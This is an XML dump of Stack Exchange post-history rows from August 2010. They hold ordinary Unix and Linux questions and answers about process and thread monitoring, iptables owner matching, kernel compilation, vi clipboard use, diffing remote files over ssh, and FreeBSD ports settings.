  <row Id="1666" PostHistoryTypeId="2" PostId="901" RevisionGUID="e1819259-e724-43fa-a6c7-47887d1514bb" CreationDate="2010-08-20T14:39:52.923" UserId="885" Text="The classical tool `top` shows processes by default but can be told to show threads with the `H` key press or `-H` command line option. There is also [htop](http://htop.sourceforge.net), which is similar to `top` but has scrolling and colors; it shows all threads by default (but this can be turned off). `ps` also has a few options to show threads, especially `H` and `-L`.&#xD;&#xA;&#xD;&#xA;There are also GUI tools that can show information about threads, for example [qps](http://qps.kldp.net/projects/qps) (a simple GUI wrapper around `ps`) or [conky](http://sourceforge.net/projects/conky/) (a system monitor with lots of configuration options).&#xD;&#xA;&#xD;&#xA;For each process, a lot of information is available in `/proc/12345` where `12345` is the process ID. Information on each thread is available in `/proc/12345/task/67890` where `67890` is the kernel thread ID. This is where `ps`, `top` and other tools get their information.&#xD;&#xA;" />
  <row Id="1667" PostHistoryTypeId="2" PostId="902" RevisionGUID="3e702502-b65b-4acf-bf1c-e42106d0d952" CreationDate="2010-08-20T15:01:21.027" UserId="885" Text="A GUI alternative to Ksysguard is [qps](http://qps.kldp.net/projects/qps). It's perhaps less visually appealing that ksysguard, but it shows a lot more information, including the whole command line.&#xD;&#xA;" />
  <row Id="1668" PostHistoryTypeId="2" PostId="903" RevisionGUID="c0e0adba-2e6f-4c2c-b7db-1794ffd3e796" CreationDate="2010-08-20T15:03:32.487" UserId="326" Text="You'll want to use the iptables _owner_ module and perhaps some clever packet mangling.&#xD;&#xA;&#xD;&#xA;&gt; owner This module attempts to match&#xD;&#xA;&gt; various characteristics of the packet&#xD;&#xA;&gt; creator, for locally-generated&#xD;&#xA;&gt; packets. It is only valid in the&#xD;&#xA;&gt; OUTPUT chain, and even then some&#xD;&#xA;&gt; packets (such as ICMP ping responses)&#xD;&#xA;&gt; may have no owner, and hence never&#xD;&#xA;&gt; match.&#xD;&#xA;&gt; &#xD;&#xA;&gt; --uid-owner userid Matches if the packet was created by a process with&#xD;&#xA;&gt; the given effective (numerical) user&#xD;&#xA;&gt; id.&#xD;&#xA;&gt; &#xD;&#xA;&gt; --gid-owner groupid Matches if the packet was created by a process with&#xD;&#xA;&gt; the given effective (numerical) group&#xD;&#xA;&gt; id.&#xD;&#xA;&gt; &#xD;&#xA;&gt; --pid-owner processid Matches if the packet was created by a process with&#xD;&#xA;&gt; the given process id.&#xD;&#xA;&gt; &#xD;&#xA;&gt; --sid-owner sessionid Matches if the packet was created by a process in the&#xD;&#xA;&gt; given session group.&#xD;&#xA;" />
  <row Id="1669" PostHistoryTypeId="2" PostId="904" RevisionGUID="941b1512-9e68-4e77-b573-add4e3cbd4a0" CreationDate="2010-08-20T15:08:22.477" UserId="281" Text="You could set up two virtual machines on the physical machine, and set up the network interface bridging so that one VM uses eth0 and the other VM uses eth1. See the [virtual box documentation section on bridged networking][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtualbox.org/manual/ch06.html#id2668019" />
  <row Id="1670" PostHistoryTypeId="2" PostId="905" RevisionGUID="4e656e60-1af7-46ff-96c2-a0b3970e0fe7" CreationDate="2010-08-20T15:11:03.110" UserId="328" Text="What benefit could I see by compiling a Linux kernel myself?  Is there some efficiency you could create be customizing it to your hardware?" />
  <row Id="1671" PostHistoryTypeId="1" PostId="905" RevisionGUID="4e656e60-1af7-46ff-96c2-a0b3970e0fe7" CreationDate="2010-08-20T15:11:03.110" UserId="328" Text="What is the benefit of compiling your own linux kernel?" />
  <row Id="1672" PostHistoryTypeId="3" PostId="905" RevisionGUID="4e656e60-1af7-46ff-96c2-a0b3970e0fe7" CreationDate="2010-08-20T15:11:03.110" UserId="328" Text="élinuxàékernelàécompilingàéhackingà" />
  <row Id="1673" PostHistoryTypeId="6" PostId="647" RevisionGUID="c0242401-0d59-42a2-b9d2-aa011b884dbf" CreationDate="2010-08-20T15:12:22.207" UserId="85" Comment="edited tags" Text="écommandölineàéshellàébackupà" />
  <row Id="1674" PostHistoryTypeId="2" PostId="906" RevisionGUID="47b0aae5-e34b-4284-83a1-b0e339dbecc8" CreationDate="2010-08-20T15:31:50.853" UserId="73" Text="Compiling the kernel yourself allows you to only include the parts relevant to your computer, which makes it smaller and considerably faster, especially at boot time. Generic kernels need to include support for as much hardware as possible; at boot time they detect which hardware is attached to your computer and loads the appropriate modules, but it takes time to do all that and they need to load dynamic modules, rather than having the code baked directly into the kernel. There's no reason to have your kernel support 400 different CPUs when there's only one in your computer, or to support bluetooth mice if you don't have one, it's all wasted space you can free up" />
  <row Id="1675" PostHistoryTypeId="5" PostId="813" RevisionGUID="1cd7afbf-b5b7-46c1-b8d0-68775f015361" CreationDate="2010-08-20T15:53:55.380" UserId="73" Comment="added 8 characters in body" Text="I have a linux instance that I set up some time ago.  When I fire it up and log in as root there are some environment variables that I set up but I can't remember or find where they came from.  I've checked `~/.bash_profile`, `/etc/.bash_rc`, and all the startup scripts.  I've run `find` and `grep` to no avail. I feel like I must be forgetting to look in some place obvious.  Is there a trick for figuring this out?" />
  <row Id="1676" PostHistoryTypeId="5" PostId="542" RevisionGUID="509c4872-c9af-423d-9582-782027c43ef2" CreationDate="2010-08-20T15:55:59.920" UserId="73" Comment="added 22 characters in body" Text="Not sure if this will help, but I like to use &lt;kbd&gt;ctrl-r&lt;/kbd&gt; and then start typing the command.  It should go through your history and present you with the first match.  To toggle through the matches just hit &lt;kbd&gt;ctrl-r&lt;/kbd&gt; again." />
  <row Id="1677" PostHistoryTypeId="5" PostId="67" RevisionGUID="9863c91c-fe32-426d-a18e-3bdaafadf168" CreationDate="2010-08-20T15:57:24.893" UserId="73" Comment="deleted 63 characters in body" Text="This expands somewhat on the `!!` trick mentioned in [this answer](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-prompt-features-or-tricks/32#32). There are actually a bunch of history-related commands that tend to get forgotten about (people tend to stab &lt;kbd&gt;Up&lt;/kbd&gt; 100 times instead looking for a command they know they typed).&#xD;&#xA;&#xD;&#xA;* The `history` command will show a list of recently run commands with an event designator to the left&#xD;&#xA;* Running `!N` will run the command associated with event designator `N`&#xD;&#xA;* Running `!-N` will run the `N` &lt;sup&gt;th&lt;/sup&gt; most recent command; e.g. `!-1` will run the most recent command, `!-2` the second most recent, etc.&#xD;&#xA;* As mentioned in the other answer, `!!` is shorthand for `!-1`, to quickly run the last command again&#xD;&#xA;* Running `!string` will run the most recent command that begins with `string`&#xD;&#xA;* Running `!?string?` will run the most recent command that contains `string`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Word designators can be added on to a `!` history command to modify the results. A colon separates the event and word designators, e.g. `!!:0`. The event designator `!!` can be abbreviated to just `!` when using a word designator, so `!!:0` is equivalent to `!:0`.&#xD;&#xA;&#xD;&#xA;* `!:0` will get the command that was executed&#xD;&#xA;* `!:1` will get the first argument (and `!:2` the second, etc.)&#xD;&#xA;* `!:2-3` will get the second and third arguments&#xD;&#xA;* `!:^` is another way to get the first argument. `!:$` will get the last&#xD;&#xA;* `!:*` will get all arguments (but *not* the command)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Modifiers can also be appended to a `!` history command, each prefixed by a colon. Any number can be stacked on (e.g. `!:t:r:p`).&#xD;&#xA;&#xD;&#xA;* `h` -- Line up to the base filename&#xD;&#xA;* `t` -- Only the base filename&#xD;&#xA;* `r` -- Line up to the filename extension&#xD;&#xA;* `e` -- Only the filename extension&#xD;&#xA;* `s/search/replacement` -- Replace the first occurrence of `search` with `replacement`&#xD;&#xA;* `gs/search/replacement` -- Replace all occurrences of `search` with `replacement`&#xD;&#xA;" />
  <row Id="1678" PostHistoryTypeId="2" PostId="907" RevisionGUID="50663d1d-3057-40ff-be2a-b8696dbb77ba" CreationDate="2010-08-20T15:59:00.133" UserId="298" Text="In my mind, the only benefit you really get from compiling your own linux kernel is:&#xD;&#xA;&#xD;&#xA;**You learn how to compile your own linux kernel.**&#xD;&#xA;&#xD;&#xA;It's not something you *need* to do for more speed / memory / xxx whatever.  It is a valuable thing to do if that's the stage you feel you are at in your development.  If you want to have a deeper understanding of what this whole &quot;open source&quot; thing is about, about how and what the different parts of the kernel are, then you should give it a go.  If you are just looking to speed up your boot time by 3 seconds, then... what's the point... go buy an ssd.   If you are curious, if you want to learn, then compiling your own kernel is a great idea and you will likely get a lot out of it.  " />
  <row Id="1679" PostHistoryTypeId="2" PostId="908" RevisionGUID="10a992ed-9076-47fd-88af-d50654ec36a5" CreationDate="2010-08-20T16:04:17.773" UserId="956" Text="Have you considered [`god`][1]?&#xD;&#xA;&#xD;&#xA;&gt; God is an easy to configure, easy to&#xD;&#xA;&gt; extend monitoring framework written in&#xD;&#xA;&gt; Ruby.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keeping your server processes and&#xD;&#xA;&gt; tasks running should be a simple part&#xD;&#xA;&gt; of your deployment process. God aims&#xD;&#xA;&gt; to be the simplest, most powerful&#xD;&#xA;&gt; monitoring application available.&#xD;&#xA;&#xD;&#xA;I use it to make sure that if Rails/nginx instances fall over, they get revived, and although I don't see built in support for checking if it's using the right port or not, but if the problem is that the process fails or is no longer running, you can't go wrong with `god`.&#xD;&#xA;&#xD;&#xA;  [1]: http://god.rubyforge.org/" />
  <row Id="1680" PostHistoryTypeId="2" PostId="909" RevisionGUID="2ced6050-7d8c-46a3-99d6-c633e8cecaad" CreationDate="2010-08-20T16:07:12.683" UserId="363" Text="Bragging rights :)" />
  <row Id="1681" PostHistoryTypeId="2" PostId="910" RevisionGUID="9ac39d73-aa29-4478-bb4f-fda28f7346d8" CreationDate="2010-08-20T16:17:27.850" UserId="160" Text="I second gabe.'s answer (my comment is too long so I'm posting as an answer).  &#xD;&#xA;&#xD;&#xA;Unless you have a highly specialized purpose (e.g. embedded machines, strict security profiling), I see no practical benefit to compiling your own kernel other than to see how it's done.  By methodically reviewing the options, seeing how they interact with each other to build the system is a great way to understand how your system works.  It's amazing what you find out when you try to remove components that don't appear to have any purpose for the tasks you're trying to accomplish.&#xD;&#xA;&#xD;&#xA;Be warned however--why jumping down the rabbit hole is undoubtedly exhilarating, it will suck back more nights and weekends than you thought possible!" />
  <row Id="1682" PostHistoryTypeId="2" PostId="911" RevisionGUID="e279f68f-c1c8-4f4c-8c8d-50856e40746f" CreationDate="2010-08-20T16:36:19.653" UserId="774" Text="The usual maximum number that I have seen in the &quot;running&quot; field displayed in top(1) is the number of logical CPUs installed in the system.  However, I have observed that under Ubuntu 10.04 (not checked in other versions), sometimes top(1) shows more processes running than the limit I've mentioned.&#xD;&#xA;&#xD;&#xA;What can be causing the display of say, for example, 2 running processes in a single core system?" />
  <row Id="1683" PostHistoryTypeId="1" PostId="911" RevisionGUID="e279f68f-c1c8-4f4c-8c8d-50856e40746f" CreationDate="2010-08-20T16:36:19.653" UserId="774" Text="Number of running processes show in top" />
  <row Id="1684" PostHistoryTypeId="3" PostId="911" RevisionGUID="e279f68f-c1c8-4f4c-8c8d-50856e40746f" CreationDate="2010-08-20T16:36:19.653" UserId="774" Text="éubuntuàéprocessàétopà" />
  <row Id="1685" PostHistoryTypeId="5" PostId="905" RevisionGUID="276d7cc8-76d4-4fd8-b6b0-fe286da59c9e" CreationDate="2010-08-20T16:41:58.927" UserId="328" Comment="fixed spelling error" Text="What benefit could I see by compiling a Linux kernel myself?  Is there some efficiency you could create by customizing it to your hardware?" />
  <row Id="1686" PostHistoryTypeId="2" PostId="912" RevisionGUID="97a18800-84cd-4b51-ba90-a792bb6f77e7" CreationDate="2010-08-20T16:48:45.957" UserId="956" Text="If I want to copy text from a file in `vi` to another file, I have to highlight the text, &lt;kbd&gt;Control-Shift-C&lt;/kbd&gt; it, quit the first file, open the second, and then paste it via &lt;kbd&gt;Control-Shift-V&lt;/kbd&gt;. It feels like there must be an easier way to do this - that is, keyboard commands only. Any suggestions?" />
  <row Id="1687" PostHistoryTypeId="1" PostId="912" RevisionGUID="97a18800-84cd-4b51-ba90-a792bb6f77e7" CreationDate="2010-08-20T16:48:45.957" UserId="956" Text="Persist clipboard contents in vi" />
  <row Id="1688" PostHistoryTypeId="3" PostId="912" RevisionGUID="97a18800-84cd-4b51-ba90-a792bb6f77e7" CreationDate="2010-08-20T16:48:45.957" UserId="956" Text="évimà" />
  <row Id="1689" PostHistoryTypeId="2" PostId="913" RevisionGUID="2d2457db-0e2e-4c5f-a411-493e95b3edf6" CreationDate="2010-08-20T16:51:45.373" UserId="228" Text="Most users do not need to compile their own kernel, their distribution has done this work for them.   Usually distributions will include a set of patches to either integrate with certain parts of the way the distribution works, backports of device drivers and fixes from newer, but unreleased versions of the kernel or features that they are pioneering with their users.&#xD;&#xA;&#xD;&#xA;When you compile your own kernel, you have a couple of options, you can compile an official Linus Torvalds kernel, this will not include any of the patches or customizations that were added by your distribution (which can be good or bad) or you can use your distribution rebuild tool to build your own kernel.&#xD;&#xA;&#xD;&#xA;The reasons you might want to rebuild your kernel include:&#xD;&#xA;&#xD;&#xA;* Patching bugs or adding a specific feature to a production system, where you can not really risk upgrading the whole kernel for a single fix or two.&#xD;&#xA;* To try out a particular device driver, or a new feature&#xD;&#xA;* To extend the kernel, work on it&#xD;&#xA;* testing some of the &quot;Alpha&quot; modules or features.&#xD;&#xA;&#xD;&#xA;Many developers use it to create also custom versions of the kernel for embedded systems or settop boxes where they need special device drivers, or they want to remove functionality that they do not need." />
  <row Id="1690" PostHistoryTypeId="2" PostId="914" RevisionGUID="8b254935-fac9-49d6-9532-5e30bf65ddce" CreationDate="2010-08-20T16:53:16.683" UserId="85" Text="Hyperthreading, perhaps.&#xD;&#xA;&#xD;&#xA;Note that top's man page says:&#xD;&#xA;&#xD;&#xA;&gt; Tasks shown as running should be more properly thought of as 'ready to run' -- their task_struct is simply represented on the Linux run-queue. Even without a true SMP machine, you may see numerous tasks in this state depending on top's delay interval and nice value." />
  <row Id="1691" PostHistoryTypeId="2" PostId="915" RevisionGUID="089741b1-afda-4b8d-a920-4c1eaa155fb2" CreationDate="2010-08-20T17:00:25.253" UserId="178" Text="Very simply you could just use cron to check for the process and restart" />
  <row Id="1692" PostHistoryTypeId="2" PostId="916" RevisionGUID="0609b0b6-371b-41cd-ad9e-7cba5dd6c25c" CreationDate="2010-08-20T17:00:31.867" UserId="850" Text="Sure:&#xD;&#xA;&#xD;&#xA; 1. Open your file: &lt;kbd&gt;vi foo&lt;/kbd&gt;&#xD;&#xA; 2. In your file, open the second: &lt;kbd&gt;ESC :open bar&lt;/kbd&gt;&#xD;&#xA; 3. Return to the first: &lt;kbd&gt;ESC :prev&lt;/kbd&gt;&#xD;&#xA; 4. To copy the content of the file: &lt;kbd&gt;ESC :1,$ y&lt;/kbd&gt;&#xD;&#xA; 5. To go the the next file: &lt;kbd&gt;ESC :n&lt;/kbd&gt;&#xD;&#xA; 6. Paste it: &lt;kbd&gt;ESC p&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;Maybe there's a shorter way?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1693" PostHistoryTypeId="2" PostId="917" RevisionGUID="80080d99-54b1-450c-b35c-3018df570ee0" CreationDate="2010-08-20T17:00:48.073" UserId="885" Text="The “running” field in top doesn't show the number of tasks that are simultaneously running, it shows the number of tasks that are *runnable*, that is, the number of tasks that are contending for CPU access.&#xD;&#xA;&#xD;&#xA;If top could obtain all system information in a single time slice, the “running” field would be exactly the number of tasks whose status (`S` column) show `R` (again, `R` here is often said to mean “running”, but this really means “runnable” as above). In practice, the number may not match because top obtains information for each task one by one and some of the runnable tasks may have fallen asleep or vice versa by the time it finishes. (Some implementations of top may just count tasks with the status `R` to compute the “running” field; then the number will be exact.)&#xD;&#xA;&#xD;&#xA;Note that there is always a runnable task when top gather its information, namely top itself. If you see a single runnable task, it means no other process is contending for CPU time.&#xD;&#xA;" />
  <row Id="1694" PostHistoryTypeId="2" PostId="918" RevisionGUID="760b78af-c5be-470e-a404-e74b80798540" CreationDate="2010-08-20T17:14:00.517" UserId="970" Text="In addition to daemontools and supervisord, there's [daemonize][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bmc.github.com/daemonize/" />
  <row Id="1695" PostHistoryTypeId="2" PostId="919" RevisionGUID="6bf9e30c-c5a9-4ff7-b007-135bb42f90aa" CreationDate="2010-08-20T17:15:39.440" UserId="179" Text="If you add a -i option to the getty command in /etc/inittab this will stop the screen from clearing. So something like:&#xD;&#xA;&#xD;&#xA;c1:2345:respawn:/sbin/agetty -i -8 38400 tty1 linux" />
  <row Id="1696" PostHistoryTypeId="2" PostId="920" RevisionGUID="7b4466cc-6f81-46a7-812a-1087b2943800" CreationDate="2010-08-20T17:25:00.720" UserId="328" Text="You can use `:e filename` to open another file and `:rew` to return to the original file like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. open original file `vi foo`&#xD;&#xA; 2. yank text e.g. `yy` (yank a line)&#xD;&#xA; 3. open a second file to edit `ESC :e bar`&#xD;&#xA; 4. put your text `p` (then save `:w`)&#xD;&#xA; 5. go back to the first file `ESC :rew` " />
  <row Id="1697" PostHistoryTypeId="5" PostId="920" RevisionGUID="8ccc1af3-03df-42d7-80e4-60ab62e24177" CreationDate="2010-08-20T17:30:09.010" UserId="328" Comment="added 21 characters in body" Text="While editing a file you can use `:e filename` to open another file and `:rew` to return to the original file like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. open original file `vi foo`&#xD;&#xA; 2. yank text e.g. `yy` (yank a line)&#xD;&#xA; 3. open a second file to edit `ESC :e bar`&#xD;&#xA; 4. put your text `p` (then save `:w`)&#xD;&#xA; 5. go back to the first file `ESC :rew` " />
  <row Id="1698" PostHistoryTypeId="2" PostId="921" RevisionGUID="467ebdd5-66da-467c-8105-051a77a03b4b" CreationDate="2010-08-20T18:33:06.650" UserId="328" Text="In expect you can clear the screen using the raw vt100 commands:&#xD;&#xA;&#xD;&#xA;    puts -nonewline \033\[2J &#xD;&#xA;    flush stdout&#xD;&#xA;&#xD;&#xA;That was the solution to my [question on stackoverflow][1].  Perhaps it can help you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1987302/tcl-expect-clear-screen-after-exit" />
  <row Id="1699" PostHistoryTypeId="2" PostId="922" RevisionGUID="86e5dafe-bb34-4e0c-a976-0842595f4223" CreationDate="2010-08-20T18:38:40.397" UserId="394" Text="I wanted to be clever and compare a remote file to a local file without downloading it. I can get the contents of the remote file by &#xD;&#xA;&#xD;&#xA;    ssh user@remote-host &quot;cat path/file.name&quot;&#xD;&#xA;&#xD;&#xA;However, piping that to `diff`&#xD;&#xA;&#xD;&#xA;    ssh user@remote-host &quot;cat path/file.name&quot; | diff path/file.name&#xD;&#xA;&#xD;&#xA;gives me this:&#xD;&#xA;&#xD;&#xA;    diff: missing operand after `path/file.nae'&#xD;&#xA;    diff: Try `diff --help' for more information.&#xD;&#xA;&#xD;&#xA;I have ssh keys set up, so it's not prompting me for a password. What's a workaround for this?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1700" PostHistoryTypeId="1" PostId="922" RevisionGUID="86e5dafe-bb34-4e0c-a976-0842595f4223" CreationDate="2010-08-20T18:38:40.397" UserId="394" Text="Can't pipe into diff?" />
  <row Id="1701" PostHistoryTypeId="3" PostId="922" RevisionGUID="86e5dafe-bb34-4e0c-a976-0842595f4223" CreationDate="2010-08-20T18:38:40.397" UserId="394" Text="écommandölineà" />
  <row Id="1702" PostHistoryTypeId="2" PostId="923" RevisionGUID="0f3e5a92-0629-42e4-9c7b-414bab8933d5" CreationDate="2010-08-20T18:55:34.387" UserId="761" Text="vim can be set up with X clipboard support. Pass --with-x=yes to configure if your distribution does not bundle vim with X support. By default the X clipboard is available as the * buffer and the X cut board (selection) is available as the &quot; buffer, so selecting a region and typing `&quot;+y` will yank the selection to the X cut board, and `&quot;*y` will yank to the X clipboard. Similarly, `&quot;*p` will paste from the X clipboard and `&quot;+p` from the X selection.&#xD;&#xA;&#xD;&#xA;You can set the default (anonymous) buffer in vim to be the X clipboard by running `set clipboard=unnamed`. Then you can just `y` and `p` from the X clipboard directly." />
  <row Id="1703" PostHistoryTypeId="2" PostId="924" RevisionGUID="5d5af203-3298-4653-a1ec-3d5d69c82d0f" CreationDate="2010-08-20T18:55:51.843" UserId="131" Text="Piping into diff is equivalent to running&#xD;&#xA;&#xD;&#xA;`diff path/file.name`&#xD;&#xA;&#xD;&#xA;and then, once it's running, typing the entire contents of the file.&#xD;&#xA;&#xD;&#xA;As you can see, that's not what you expected." />
  <row Id="1704" PostHistoryTypeId="2" PostId="925" RevisionGUID="6398bd8e-bf80-4e75-81c5-5ce763a61b3e" CreationDate="2010-08-20T18:56:36.617" UserId="57" Text="Try to use  `-` to represent the standard input.&#xD;&#xA;&#xD;&#xA;`ssh user@remote-host &quot;cat path/file.name&quot; | diff path/file.name -`&#xD;&#xA;" />
  <row Id="1705" PostHistoryTypeId="2" PostId="926" RevisionGUID="57091e7d-9e3f-4b55-b08d-8cb71de9539f" CreationDate="2010-08-20T18:58:09.330" UserId="394" Text="The **ampersand**. It puts your command in the background, so you can continue typing.&#xD;&#xA;&#xD;&#xA;    $&gt; sudo updatedb &amp;&#xD;&#xA;&#xD;&#xA;Working along, and after a while you see:&#xD;&#xA;&#xD;&#xA;    [1] 17403&#xD;&#xA;&#xD;&#xA;And your process is done! Great for things where you don't need to wait for them to terminate." />
  <row Id="1706" PostHistoryTypeId="16" PostId="926" RevisionGUID="57091e7d-9e3f-4b55-b08d-8cb71de9539f" CreationDate="2010-08-20T18:58:09.330" UserId="-1" />
  <row Id="1707" PostHistoryTypeId="2" PostId="927" RevisionGUID="e3714d2c-d360-4b3c-9e13-aab8faee930c" CreationDate="2010-08-20T18:59:15.050" UserId="412" Text="I have a file server running OpenSolaris (mainly for ZFS, which I really love), but since [Oracle has abandoned it][1], I'm starting to think about what I'm going to do with the OS on that machine. Assuming you have a machine like this and you're in a similar situation, what are your plans? Switching to FreeBSD? Holding out to see if Illumos takes off? Nexenta? I'm curious what other people are thinking on this.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cuddletech.com/blog/pivot/entry.php?id=1140" />
  <row Id="1708" PostHistoryTypeId="1" PostId="927" RevisionGUID="e3714d2c-d360-4b3c-9e13-aab8faee930c" CreationDate="2010-08-20T18:59:15.050" UserId="412" Text="What are you going to do with your OpenSolaris machines?" />
  <row Id="1709" PostHistoryTypeId="3" PostId="927" RevisionGUID="e3714d2c-d360-4b3c-9e13-aab8faee930c" CreationDate="2010-08-20T18:59:15.050" UserId="412" Text="ésolarisàéupgradeàézfsà" />
  <row Id="1710" PostHistoryTypeId="5" PostId="921" RevisionGUID="bc63149b-7118-453f-94fd-160809842539" CreationDate="2010-08-20T19:02:10.520" UserId="328" Comment="added 611 characters in body" Text="In expect you can clear the screen using the raw vt100 commands:&#xD;&#xA;&#xD;&#xA;    puts -nonewline \033\[2J &#xD;&#xA;    flush stdout&#xD;&#xA;&#xD;&#xA;That was the solution to my [question on stackoverflow][1].  Perhaps it can help you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;An example of setting an interact &quot;hook&quot; into the expect script on your spawned ssh session might look something like this:&#xD;&#xA;&#xD;&#xA;    spawn ssh -Y user@host&#xD;&#xA;    #password sequence...&#xD;&#xA;    set CTRLA \001&#xD;&#xA;    #don't time out&#xD;&#xA;    set timeout -1 &#xD;&#xA;    interact {&#xD;&#xA;        $CTRLA {&#xD;&#xA;            #clear screen&#xD;&#xA;            puts \033\[2J&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then only if you hit that Ctrl+A keystroke do you send the clear command.  You could also interact then take action on seeing a certain field or character on screen.&#xD;&#xA;&#xD;&#xA;    -o -nobuffer -re {(\[1;14H} {&#xD;&#xA;        #clear screen&#xD;&#xA;        puts \033\[2J&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1987302/tcl-expect-clear-screen-after-exit" />
  <row Id="1711" PostHistoryTypeId="2" PostId="928" RevisionGUID="40672149-8970-4d40-b3d8-39e629ad11e6" CreationDate="2010-08-20T19:02:23.330" UserId="394" Text="The `screen` [command][1]. It basically saves your command line session for when you come back. It's sort of a terminal manager, like a window manager. That way, in a single terminal session, you can have multiple virtual terminals going on. It's very cool. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: /http://www.rackaid.com/resources/linux-screen-tutorial-and-how-to/" />
  <row Id="1712" PostHistoryTypeId="16" PostId="928" RevisionGUID="40672149-8970-4d40-b3d8-39e629ad11e6" CreationDate="2010-08-20T19:02:23.330" UserId="-1" />
  <row Id="1713" PostHistoryTypeId="2" PostId="929" RevisionGUID="b90557a2-0fbd-4dbd-952f-87994cb231c0" CreationDate="2010-08-20T19:03:28.180" UserId="394" Text="**Tab completion**. How bad would it suck if you had to type out all the characters of every path?" />
  <row Id="1714" PostHistoryTypeId="16" PostId="929" RevisionGUID="b90557a2-0fbd-4dbd-952f-87994cb231c0" CreationDate="2010-08-20T19:03:28.180" UserId="-1" />
  <row Id="1715" PostHistoryTypeId="2" PostId="930" RevisionGUID="e7105804-a208-4236-b591-332cba7e1e70" CreationDate="2010-08-20T19:10:02.080" UserId="394" Text="Here's one workaround: `diff` seems to accept &lt;(*expr*) as arguemnts:&#xD;&#xA;&#xD;&#xA;    diff &lt;(ssh \&quot;cat cat path/file.name/&quot;) &lt;(cat path/file.name)" />
  <row Id="1716" PostHistoryTypeId="5" PostId="930" RevisionGUID="ab7bee64-ab69-44e0-86ed-c03c5d73f077" CreationDate="2010-08-20T19:21:54.927" UserId="394" Comment="remove redundant cats." Text="Here's one workaround: `diff` seems to accept &lt;(*expr*) as arguemnts:&#xD;&#xA;&#xD;&#xA;    diff &lt;(ssh \&quot;cat path/file.name/&quot;) &lt;(cat path/file.name)" />
  <row Id="1717" PostHistoryTypeId="6" PostId="922" RevisionGUID="be77c3b9-a45f-4769-9b20-4b25abc65f68" CreationDate="2010-08-20T19:22:29.013" UserId="394" Comment="added some tags." Text="écommandölineàépipeàédiffà" />
  <row Id="1718" PostHistoryTypeId="6" PostId="647" RevisionGUID="1a69c1d9-d239-49e4-941b-df04977d90c2" CreationDate="2010-08-20T19:23:12.070" UserId="394" Comment="added a tag" Text="écommandölineàéshellàébackupàédiffà" />
  <row Id="1719" PostHistoryTypeId="2" PostId="931" RevisionGUID="cee07e13-09e2-4880-b0ac-4ac7ec224558" CreationDate="2010-08-20T19:48:02.317" UserId="160" Text="Part of the fun of using FreeBSD is dealing with the ports subsystem.  It's good in many ways--easy installation and upgrading within the FreeBSD ecosystem but poor in others--setting variables via `make` configuration files or environment don't work as expected or even as advertised.&#xD;&#xA;&#xD;&#xA;Nevertheless, [SirDice](http://forums.freebsd.org/showthread.php?p=98271#post98271) has come to the rescue with a neat little trick:&#xD;&#xA;&#xD;&#xA;    mount -t nullfs /directory/for/pkgs /usr/ports/packages&#xD;&#xA;&#xD;&#xA;which is really cool because it bypasses the use of environment variables and you can set the destination directory for another machine.  Very helpful if you're (like me) using a 'build-jail' to make packages that are installed on different systems or other jails.&#xD;&#xA;&#xD;&#xA;*The `/usr/ports/packages` directory is where `PACKAGES` points to (if it exists) which is supposedly able to point somewhere else but didn't work for me.  The `man` page stipulates setting `PKGREPOSITORY` which only works if you are building a single package.*" />
  <row Id="1720" PostHistoryTypeId="5" PostId="931" RevisionGUID="fffce2aa-fded-4dfa-aabf-52814877c94a" CreationDate="2010-08-20T20:20:15.030" UserId="160" Comment="Fixed editing artifacts" Text="Part of the fun of using FreeBSD is dealing with the ports subsystem.  It's good in many ways--easy installation and upgrading within the FreeBSD ecosystem but poor in others--setting variables via `make` configuration files or environment don't work as expected or even as advertised.&#xD;&#xA;&#xD;&#xA;Nevertheless, [SirDice](http://forums.freebsd.org/showthread.php?p=98271#post98271) has come to the rescue with a neat little trick:&#xD;&#xA;&#xD;&#xA;    mount -t nullfs /directory/for/pkgs /usr/ports/packages&#xD;&#xA;&#xD;&#xA;which is really cool because it bypasses the use of environment variables and you can set the destination directory for wherever you want.  Very helpful if you're (like me) using a 'build-jail' to make packages that are installed on different systems or other jails.&#xD;&#xA;&#xD;&#xA;*The `/usr/ports/packages` directory is where `PACKAGES` points to (if it exists) which is supposedly able to point somewhere else but didn't work for me.  The `man` page stipulates setting `PKGREPOSITORY` which only works if you are building a single package.*" />
  <row Id="1721" PostHistoryTypeId="6" PostId="366" RevisionGUID="8ca5c84c-6c52-4f09-8543-4f902629e500" CreationDate="2010-08-20T20:42:18.790" UserId="85" Comment="edited tags" Text="égrepà" />
  <row Id="1723" PostHistoryTypeId="2" PostId="933" RevisionGUID="3cce66ea-6758-4377-b588-6c7f311ad076" CreationDate="2010-08-20T21:03:42.553" UserId="4" Text="I've read that that PKGREPOSITORY is dependent on PACKAGES.&#xD;&#xA;&#xD;&#xA;You can set PACKAGES in /etc/make.conf . For example:&#xD;&#xA;&#xD;&#xA;	DISTDIR= /opt/portbuild/distfiles&#xD;&#xA;	PACKAGES=/opt/portbuild/packages&#xD;&#xA;" />
